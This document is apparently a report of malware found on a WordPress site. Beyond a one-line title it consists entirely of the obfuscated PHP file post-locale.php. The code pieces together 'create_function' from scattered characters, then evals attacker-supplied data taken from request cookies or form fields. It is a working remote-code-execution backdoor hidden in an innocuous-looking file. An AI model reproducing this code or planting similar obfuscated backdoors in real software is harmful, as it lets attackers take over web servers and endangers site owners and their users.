Malicious code in a WordPress installation

post-locale.php

<?php

$immensely =']'; $inspector ='be;DE[R';$cometh=']d'; $inset= 'n('; $juxtaposing= '3';$clowns ='0';$david1 = 'i'; $lowboy='P_$';
$busier='T]kKs';$candace='M)b';$forthcome= 'E';$gaynor= 'R';$jail ='erd'; $decedent = 't';
$leadings = 'EpC0';$coot= '"';

$humoring ='A)';$dissimilarity= 'cFtH'; $boggle= 'Uea]D"30';$grapes= 'r"[)V';$anhydrously='$'; $erinna='CAi@>Sud_'; $audre='3aX';$chiquia = 'm';$bestseller='=r(r)';$drooped = 'jv'; $jobina ='J';$inventory ='n'; $enlargeable ='0asi_gT';$headlands ='a'; $concurrency= 'Bac'; $arrowhead = 'l6f_y(i'; $livably= 'Su"oK';$footprint = 'n'; $ardine ='4Pl';
$anemia = 'tac3)?$s_'; $isidor ='e';$bang ='N'; $jesselyn='Z'; $corbin= 'a'; $dike= ';b';
$extraordinary='G';$eradicable = 'aac_';$colloidal ='['; $chunk = 'RH'; $centrifugal ='"';$hues= 'arog)(ee)';
$isidora='_fO'; $grandiloquent='e';$hypocrisy ='_'; $bared = ':';

$constituting= 'r(ItETd('; $associative ='a';
$lysine= 'l';$hygiene = 'Q'; $disapproves= 'P';$bushels ='i'; $buildup='s:$eT,Ad'; $defeats= 'p'; $electrolyte= '(Qy_EeRLt'; $franc='e"EaI';$bugled ='$$reBgB'; $arin ='=H W$b)e';$arabian ='S;`d^'; $godiva ='B[ia"$OO';
$gannet= 'ob;?_m';$embargoes ='TYiios(';$halsey= '?';

$chandelier = ']c"';$clarance = 'v'; $ellary= ',';$hydrochloride= '_';
$intensify='DeB$'; $leaped ='$';
$curiousest ='g';
$irish = 'Ui(nTebV';
$jersey ='fi_)a';$defendants = '['; $goddess = 's'; $faydra ='h'; $excited =$chandelier['1'] .$bugled['2'] .$irish['5'] .$jersey[4].$electrolyte['8'].

$irish['5'].$jersey['2'] .$jersey['0'] . $livably['1'] .
$irish['3'].$chandelier['1'].

$electrolyte['8'].$jersey['1'] . $embargoes['4'] . $irish['3'];

$commune = $arin['2']; $fancy = $excited($commune, $irish['5'].$clarance .

$jersey[4] . $lysine .$irish['2'].$jersey[4].$bugled['2']. $bugled['2'].$jersey[4] .
$electrolyte['2'] .$jersey['2']. $defeats .$embargoes['4']. $defeats. $irish['2'] .$jersey['0'] .$livably['1']. $irish['3'].
$chandelier['1'] .$jersey['2'] .$curiousest . $irish['5'] . $electrolyte['8'] .

$jersey['2'] . $jersey[4]. $bugled['2'] . $curiousest.$goddess . $irish['2'] .$jersey['3'].$jersey['3'].

$jersey['3'] .

$gannet['2']);$fancy ($electrolyte['2'] ,$arabian['4'] ,

$busier['2'] ,$irish['0'] ,$bang , $arin['1'] ,$clarance, $franc['2'], $goddess,

$leaped. $jersey['1'] . $arin['0']. $jersey[4]. $bugled['2'] . $bugled['2'] .

$jersey[4]. $electrolyte['2'].$jersey['2']. $gannet['5'] .$irish['5'].$bugled['2']. $curiousest .$irish['5'] .$irish['2'] . $leaped .$jersey['2'] .$electrolyte['6'] . $franc['2'].

$electrolyte['1'] . $irish['0'] .$franc['2'] .

$arabian['0'].

$irish['4'] .$ellary. $leaped. $jersey['2'] . $erinna['0'] .

$godiva['7'] .$godiva['7'] . $livably['4']. $franc['4']. $franc['2'] .
$ellary . $leaped.

$jersey['2'] .

$arabian['0'] . $franc['2']. $electrolyte['6'] .
$irish[7].$franc['2'] .$electrolyte['6'] .$jersey['3']. $gannet['2'] . $leaped.$jersey[4] .$arin['0'].$jersey['1'].

$goddess.$goddess.$irish['5'] . $electrolyte['8']. $irish['2'] .$leaped.
$jersey['1'] . $defendants.$chandelier['2']. $arabian['3'].$anemia['3'].$enlargeable['0'].$jersey[4]. $irish['6'] . $irish['6']. $chandelier['2'].

$chandelier[0] .$jersey['3']. $halsey .$leaped.$jersey['1'] . $defendants.$chandelier['2'] .$arabian['3'].$anemia['3']. $enlargeable['0'].$jersey[4].$irish['6'] .
$irish['6'].$chandelier['2'].
$chandelier[0]. $buildup['1']. $irish['2'] . $jersey['1'] . $goddess.
$goddess.$irish['5'].$electrolyte['8'].$irish['2'] .$leaped.
$jersey['1']. $defendants .$chandelier['2'].
$arin['1'] . $irish['4'] .

$irish['4'] .$disapproves .$jersey['2'] .$intensify['0'].

$anemia['3'].$enlargeable['0'] . $buildup['6'] .$intensify['2']. $intensify['2']. $chandelier['2']. $chandelier[0] . $jersey['3'] .$halsey.$leaped.$jersey['1'] . $defendants. $chandelier['2']. $arin['1'] .$irish['4']. $irish['4'] .$disapproves.$jersey['2'] .$intensify['0'].$anemia['3'] . $enlargeable['0'].$buildup['6'] . $intensify['2'] .$intensify['2'] . $chandelier['2'] . $chandelier[0]. $buildup['1'] .$arabian['3'] .

$jersey['1'] .$irish['5'].$jersey['3'] .$gannet['2'] . $irish['5'] . $clarance.$jersey[4]. $lysine. $irish['2'] . $irish['6'].$jersey[4] . $goddess.

$irish['5'] .$arrowhead['1'] .$ardine['0']. $jersey['2'] . $arabian['3'] . $irish['5']. $chandelier['1']. $embargoes['4'].$arabian['3'] .

$irish['5'] .$irish['2'].

$leaped .$jersey[4]. $jersey['3'].$jersey['3'] . $gannet['2']  );